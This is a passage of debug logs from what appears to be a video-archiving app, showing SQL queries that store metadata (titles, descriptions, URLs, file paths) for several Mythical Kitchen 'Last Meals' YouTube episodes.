Liberated\n35:27 Playing Anger Is Easy; Playing Hurt Is Difficult\n36:07 Death Is A Thief\n38:09 Josh's Dad Loved A Discount\n39:57 What Do You Think Happens When You Die?\n40:49 Lightning Round\n43:01 Colman's Last Words\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Colman Domingo Eats His Last Meal", "3f1e7481-9495-4a60-86c1-8a9a9744ff65", "https://www.youtube.com/watch?v=zq_xrmmyWCE", false, "zq_xrmmyWCE", 2620, false, 17, "/downloads/Last Meals/2025-08-19 Colman Domingo Eats His Last Meal/Colman Domingo Eats His Last Meal [zq_xrmmyWCE].mp4", false, false, 1, [], 1, ~U[2025-08-19 10:01:42Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Colman Domingo eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Colman's Last Meal\n0:20 Colman Loves A Nude Beach\n1:34 How Often Do You Think About Death?\n2:50 1st Course\n5:50 Birthday Oysters & Recentering\n6:30 A Prayer To The Crescent Moon\n8:14 Comedy Is Harder Than Drama\n10:40 Career Beginnings In San Francisco\n13:32 \"I Think You Have A Gift\"\n15:30 \"Protect Your Art Like You Would A Child\"\n16:43 2nd Course\n19:08 Honoring Edith\n20:50 Wild With Happy\n21:26 Believing At Disneyland\n22:58 Letters To Oprah\n24:23 Bartending Days\n26:58 Intentional Community & Almost Joining A Cult\n28:16 3rd Course\n28:40 Infusing A Personal Story Into Sing Sing\n31:11 Helping Men Be More Vulnerable\n34:10 Stay Liberated\n35:27 Playing Anger Is Easy; Playing Hurt Is Difficult\n36:07 Death Is A Thief\n38:09 Josh's Dad Loved A Discount\n39:57 What Do You Think Happens When You Die?\n40:49 Lightning Round\n43:01 Colman's Last Words\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Colman Domingo Eats His Last Meal", "https://www.youtube.com/watch?v=zq_xrmmyWCE", "zq_xrmmyWCE", 2620, false, "/downloads/Last Meals/2025-08-19 Colman Domingo Eats His Last Meal/Colman Domingo Eats His Last Meal [zq_xrmmyWCE].mp4", false, 1, ~U[2025-08-19 10:01:42Z]] 20:49:32.254 [debug] QUERY OK source="sources" db=0.0ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.254 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-03-08 11:00:15Z], 1] 20:49:32.255 [debug] QUERY OK source="media_items" db=0.5ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Maria Bamford's last meal. Last Meals Ep.3 \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Maria Bamford Eats Her Last Meal", "8c1e8897-7a05-4dc4-b17e-5bccae5ba8ea", "https://www.youtube.com/watch?v=T0sfBmVMT_Q", false, "T0sfBmVMT_Q", 1539, false, 18, "/downloads/Last Meals/2022-03-08 Maria Bamford Eats Her Last Meal/Maria Bamford Eats Her Last Meal [T0sfBmVMT_Q].mp4", false, false, 1, [], 1, ~U[2022-03-08 11:00:15Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Maria Bamford's last meal. Last Meals Ep.3 \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Maria Bamford Eats Her Last Meal", "https://www.youtube.com/watch?v=T0sfBmVMT_Q", "T0sfBmVMT_Q", 1539, false, "/downloads/Last Meals/2022-03-08 Maria Bamford Eats Her Last Meal/Maria Bamford Eats Her Last Meal [T0sfBmVMT_Q].mp4", false, 1, ~U[2022-03-08 11:00:15Z]] 20:49:32.255 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.255 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-02 10:00:32Z], 1] 20:49:32.256 [debug] QUERY OK source="media_items" db=0.7ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Joseph Gordon-Levitt is eating his last meal.\n\n0:00 Joseph's Last Meal\n00:24 Cocoa Puffs Spokeskid \n2:28 Thinking About Death Every Day\n3:53 1st Course\n4:15 Cereal History\n5:22 Why Joseph Wants Cereal For His Last Meal\n6:29 Recalling Childhood Memories\n7:16 Being Proud On Death Bed\n8:51 Favorite Moment With Eddie Murphy\n11:37 2nd Course\n12:04 Cereal Math\n13:12 Media Addiction\n14:31 Effectiveness Of Government\n16:59 HitRecord\n18:28 3rd Course\n21:25 Predictions For The Future\n23:51 Dangers Of Fame\n26:07 4th Course\n27:23 Joseph Talks About His Brother\n29:26 Sharing Personal Life Through Media\n33:02 Pretending To Not Be Famous\n34:09 5th Course\n36:02 Theory On Death\n38:33 Lightning Round\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Joseph Gordon-Levitt Eats His Last Meal", "9d15d2b8-817a-4731-b833-2ab4fdeab5cc", "https://www.youtube.com/watch?v=Sb4rC_hrLHI", false, "Sb4rC_hrLHI", 2397, false, 19, "/downloads/Last Meals/2024-07-02 Joseph Gordon-Levitt Eats His Last Meal/Joseph Gordon-Levitt Eats His Last Meal [Sb4rC_hrLHI].mp4", false, false, 1, [], 1, ~U[2024-07-02 10:00:32Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Joseph Gordon-Levitt is eating his last meal.\n\n0:00 Joseph's Last Meal\n00:24 Cocoa Puffs Spokeskid \n2:28 Thinking About Death Every Day\n3:53 1st Course\n4:15 Cereal History\n5:22 Why Joseph Wants Cereal For His Last Meal\n6:29 Recalling Childhood Memories\n7:16 Being Proud On Death Bed\n8:51 Favorite Moment With Eddie Murphy\n11:37 2nd Course\n12:04 Cereal Math\n13:12 Media Addiction\n14:31 Effectiveness Of Government\n16:59 HitRecord\n18:28 3rd Course\n21:25 Predictions For The Future\n23:51 Dangers Of Fame\n26:07 4th Course\n27:23 Joseph Talks About His Brother\n29:26 Sharing Personal Life Through Media\n33:02 Pretending To Not Be Famous\n34:09 5th Course\n36:02 Theory On Death\n38:33 Lightning Round\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie= (truncated) 20:49:32.256 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.256 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-23 10:00:39Z], 1] 20:49:32.257 [debug] QUERY OK source="media_items" db=0.6ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Brittany Broski's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Brittany Broski Eats Her Last Meal", "b3834fed-230c-4433-b7be-91d35b815119", "https://www.youtube.com/watch?v=wGSOMKSRjkc", false, "wGSOMKSRjkc", 1884, false, 20, "/downloads/Last Meals/2023-03-23 Brittany Broski Eats Her Last Meal/Brittany Broski Eats Her Last Meal [wGSOMKSRjkc].mp4", false, false, 1, [], 1, ~U[2023-03-23 10:00:39Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Brittany Broski's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: 